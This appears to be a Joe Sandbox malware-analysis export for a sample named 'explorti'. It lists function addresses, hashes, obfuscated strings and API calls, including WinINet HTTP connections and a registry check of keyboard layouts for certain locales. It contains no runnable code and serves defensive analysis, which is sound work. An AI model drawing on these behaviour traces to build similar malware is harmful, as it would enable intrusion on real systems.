Instruction ID: 4950c137691574be2812ec6037da1a5cb8d7010604b7f1ced4734a1e03d97992
Opcode Fuzzy Hash: f2fbca57263c15560b6f0cd80e61188403d678f1b52b1411414221f1ccb4077c
Instruction Fuzzy Hash: E7B1F7B16101189BEF2ACF28CC85BDEBB79EF49304F5045A9F50997281D7749AC0CFA5

Function 0032D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0031247E

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: cc74c7697394025c077661107c7d5d23717efc9698abf179d372d2b980be6ffd
Instruction ID: 922cfecc56a0b073ee4f1ea5d8d59e94f953da9218effeecea4a3a726f3dcfa9
Opcode Fuzzy Hash: cc74c7697394025c077661107c7d5d23717efc9698abf179d372d2b980be6ffd
Instruction Fuzzy Hash: 64518271900615CFEB2BCF55E8857AEB7F8FB08310F25856AD409EB694D774A980CF90

Function 00323550 Relevance: 53.3, APIs: 1, Strings: 29, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0032425F

Part of subcall function 00327870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0032795C
Part of subcall function 00327870: __Cnd_destroy_in_situ.LIBCPMT ref: 00327968
Part of subcall function 00327870: __Mtx_destroy_in_situ.LIBCPMT ref: 00327971

Strings

9pG0, xrefs: 003254DB
-7, xrefs: 00324F3A
TZC0, xrefs: 0032541E
5120, xrefs: 00323ABF, 00323BAA
UZbf, xrefs: 00323AEE
", xrefs: 00323E99
84K0, xrefs: 00325497
246122658369, xrefs: 0031F647, 0031F924, 003204F7, 003208AA, 00321EA5, 003227EE, 00322A43, 00322AB0, 00322E88, 00323373, 003233D4, 00324F4D, 00324F8F, 00324F99, 003254F4
85K3cq==, xrefs: 00324712
Toe0, xrefs: 00325447
0657d1, xrefs: 0031FA9E, 00325489
FAml, xrefs: 0032378F
T4Ve, xrefs: 00323DC0
UIU0, xrefs: 003253A3
stoi argument out of range, xrefs: 00322E02, 00324269, 00324EAC
UIrm, xrefs: 00323BD9
7470, xrefs: 0032531D
TZS0, xrefs: 0032537A
8lU=, xrefs: 00326383
invalid stoi argument, xrefs: 00322DE9, 00322DF8, 0032425A, 00324E9D
9YY0, xrefs: 003253CC
IEYUMK==, xrefs: 003254B9
8IG0, xrefs: 003253F5
75G0, xrefs: 00325470
KIK+, xrefs: 003247BD, 003248EC, 00324ADC, 00324C0B
7JS0, xrefs: 00325351
6YK0, xrefs: 00325502
Dy==, xrefs: 0032369E, 00324D2D
KIG+, xrefs: 0031E734, 00324776, 003247ED, 00324A95, 00324B0C

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$0657d1$246122658369$5120$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$FAml$IEYUMK==$KIG+$KIK+$T4Ve$TZC0$TZS0$Toe0$UIU0$UIrm$UZbf$invalid stoi argument$stoi argument out of range$-7
API String ID: 4234742559-2910738819
Opcode ID: b1e2250d8fc6947f78a5a2a76db383f4cd6565d77a1be5bca890ebbbbd37d038
Instruction ID: 677cfe197ada48847816d5ccad5e087b34c8823feaf74f040e26967e5f87d053
Opcode Fuzzy Hash: b1e2250d8fc6947f78a5a2a76db383f4cd6565d77a1be5bca890ebbbbd37d038
Instruction Fuzzy Hash: C9524870A10268DBDF1AEF78DD4A7DDBB75AF46300F50458CE405AB282D7749B84CBA2

Function 003246C0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00327870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 0032795C
Part of subcall function 00327870: __Cnd_destroy_in_situ.LIBCPMT ref: 00327968
Part of subcall function 00327870: __Mtx_destroy_in_situ.LIBCPMT ref: 00327971

Part of subcall function 0031BD60: InternetOpenW.WININET(00368D68,00000000,00000000,00000000,00000000), ref: 0031BDED
Part of subcall function 0031BD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0031BE11
Part of subcall function 0031BD60: HttpOpenRequestA.WININET(?,00000000), ref: 0031BE5A

std::_Xinvalid_argument.LIBCPMT ref: 00324EA2

Strings

9pG0, xrefs: 003254DB
UIU0, xrefs: 003253A3
-7, xrefs: 00324F3A
stoi argument out of range, xrefs: 00324269, 00324EAC
TZC0, xrefs: 0032541E
7470, xrefs: 0032531D
TZS0, xrefs: 0032537A
8lU=, xrefs: 00326383, 00326652
9YY0, xrefs: 003253CC
84K0, xrefs: 00325497
IEYUMK==, xrefs: 003254B9
8IG0, xrefs: 003253F5
75G0, xrefs: 00325470
KIK+, xrefs: 003247BD, 003248EC, 00324ADC, 00324C0B
246122658369, xrefs: 00324F4D, 00324F8F, 00324F99, 003254F4
85K3cq==, xrefs: 00324712
Toe0, xrefs: 00325447
0657d1, xrefs: 00325489
7JS0, xrefs: 00325351
6YK0, xrefs: 00325502
Dy==, xrefs: 0032369E, 00324D2D
KIG+, xrefs: 00324776, 003247ED, 00324A95, 00324B0C

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 0657d1$246122658369$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$IEYUMK==$KIG+$KIK+$TZC0$TZS0$Toe0$UIU0$stoi argument out of range$-7
API String ID: 2414744145-3531332701
Opcode ID: c2666ae742e98cf5ef3a3311935c0ba639f9106deb37783b4c9345135f439329
Instruction ID: 2cbf60a9ca513a8816c55ae044e31714d1df17f5ec2e977a742d63a4d1801ee4
Opcode Fuzzy Hash: c2666ae742e98cf5ef3a3311935c0ba639f9106deb37783b4c9345135f439329
Instruction Fuzzy Hash: 59233671A101648BEB1ADB28DD8A7DDBB76AF85304F5081D8E049AB2C2DB355FC4CF91

Function 00315DF0 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 364
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,000F003F,?), ref: 00315E23

Strings

00000423, xrefs: 0031600A
Keyboard Layout\Preload, xrefs: 00315F64
00000419, xrefs: 00315FA8
00000422, xrefs: 00315FD9
0000043f, xrefs: 0031603B

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 70da24749f8ea78ff5e16f9db16542293107b002064dd399d49cb89eac3d09b9
Instruction ID: 350ebad38e2516c7a265741cc43c3fe8314a682db2a4e7bf652849207e8afd19
Opcode Fuzzy Hash: 70da24749f8ea78ff5e16f9db16542293107b002064dd399d49cb89eac3d09b9
Instruction Fuzzy Hash: 71E1B071900128AFEB2ADF94CC89BDDB779AB09304F5042D9E409AB291DB74AFC4CF51

Function 00317D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00317EA3

Strings

HlurOK==, xrefs: 00318062
HlusMa==, xrefs: 0031810A
HlurNa==, xrefs: 003181B2

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: HlurNa==$HlurOK==$HlusMa==
API String ID: 1721193555-2203186029
Opcode ID: a35296e8eb05389782ac20f592b17c138293bb5c0685a59125a69f231e6a1892
Instruction ID: 0751680ac966e99fa7a0a663c4568c6683c813a3db8f178bf0faba2b626dfe34
Opcode Fuzzy Hash: a35296e8eb05389782ac20f592b17c138293bb5c0685a59125a69f231e6a1892
Instruction Fuzzy Hash: 6AD1F770E046149BDB2BBB28DC473DE7772AB8A310F544298E4196B3C2DB355ED187D2

Function 00346E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00346E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00346E7D
__dosmaperr.LIBCMT ref: 00346F12

Part of subcall function 00347177: __dosmaperr.LIBCMT ref: 003471AC

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: fb0500fb97575866fadf741e878d183e7d7ebb7379d849836ea9c5b2fd62f369
Instruction ID: 7e20965da85bc03e49bad53a8f9a9017fab43e324e52cd2421bcd16fe48218f0
Opcode Fuzzy Hash: fb0500fb97575866fadf741e878d183e7d7ebb7379d849836ea9c5b2fd62f369
Instruction Fuzzy Hash: 4B416C75900704AADB25DFB5E8429AFBBF9EF89300B10452DF496DB611EB30A944CB22

Function 00346C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5337c2059eed3d8580dcfdfb3691e84533ece63e10ea06d32ed4b950eb481cd8
Instruction ID: 2359ebb432913919a9efb5e770a6ee73c93a5a0d5f10d18991389dfbac0a166a
Opcode Fuzzy Hash: 5337c2059eed3d8580dcfdfb3691e84533ece63e10ea06d32ed4b950eb481cd8
Instruction Fuzzy Hash: C421B672A056086AEB127F649C43BAF77A99F43778F114310F9243F2D1D7707E0596A2

Function 003182B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00318454

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 8e5f777bc6d30bf29ea69814c7b53a401ec0b5f167e8bff5730b844a66b20a83
Instruction ID: a0b4b8b334e09d27ae1fbf22cc7ceba48df64fe68dc9ada71524b8811132a701
Opcode Fuzzy Hash: 8e5f777bc6d30bf29ea69814c7b53a401ec0b5f167e8bff5730b844a66b20a83
Instruction Fuzzy Hash: 15514870D142189BEB29EF28CD457DEB775EB49304F5042A8E818AB2C1EF349AC08B95

Function 00346F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00346FB3

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 329fed781fc2b369341f2de7d7ae5e61913e4f59e2fb580fb44115dffdcc400e
Instruction ID: 3ea93ef2473ee07614974df165787862840f7e11b754e38d19d2230df00cd8b8
Opcode Fuzzy Hash: 329fed781fc2b369341f2de7d7ae5e61913e4f59e2fb580fb44115dffdcc400e
Instruction Fuzzy Hash: 7E111FB290020CAEDB11DED4D941EDFB7FCAB49310F505266E555E6180EB30FB48CB62

Function 0034AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,05D60A6C,?,?,0032D32C,05D60A6C,?,003278FB,?,?,?,?,?,?,00317435,?), ref: 0034AF3D

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d19aa32c87d7b8ea4ccfc9714a52ed6e848d80acf6a3d7e9651c4a595e6f620e
Instruction ID: 576a584e7f22455658849f31f5c8ae7df1fa48233964dd01f9a1e3e3a7db176f
Opcode Fuzzy Hash: d19aa32c87d7b8ea4ccfc9714a52ed6e848d80acf6a3d7e9651c4a595e6f620e
Instruction Fuzzy Hash: CFE02B722CE91156EB2332655C41B5B36CC8F513B1F170050AC049E5D1CF11FC0446F3

Function 00326AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00326B65

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 67811367bcb00304af77867829f970fb142474fd0b002bbed6888d01022a8c77
Instruction ID: 1dfc76cc91d188ffa74399b7aeea2c86dda3a2c5063db89ccfe36651bf547abc
Opcode Fuzzy Hash: 67811367bcb00304af77867829f970fb142474fd0b002bbed6888d01022a8c77
Instruction Fuzzy Hash: 6EF0F971E00514ABC7167B68DC07B5E7B79AB47720F804348E8156B2E1DB34590087D2

Function 04A20570 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2941926040.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a20000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e705d3cf6b9868eb9149dcd8a6073c1423464addd529f14915266cff220da6b2
Instruction ID: 866525c00c57551984f5e858d594277163a9380143f0ff2f1b822e267e3233cb
Opcode Fuzzy Hash: e705d3cf6b9868eb9149dcd8a6073c1423464addd529f14915266cff220da6b2
Instruction Fuzzy Hash: 392157B714C171BEE60286655B04AF6BF7DEAC7730331842BF183D5842F2A45B8A7171

Function 04A2055E Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2941926040.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a20000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fca0640719d788b8023ed05f1468813e891c74fe18855432207a6d8dd97e5b0f
Instruction ID: c58ca2d6678fe2289fdea9abcb892f1bcaba298f311fb9e0bd4f6aa1024ce90d
Opcode Fuzzy Hash: fca0640719d788b8023ed05f1468813e891c74fe18855432207a6d8dd97e5b0f
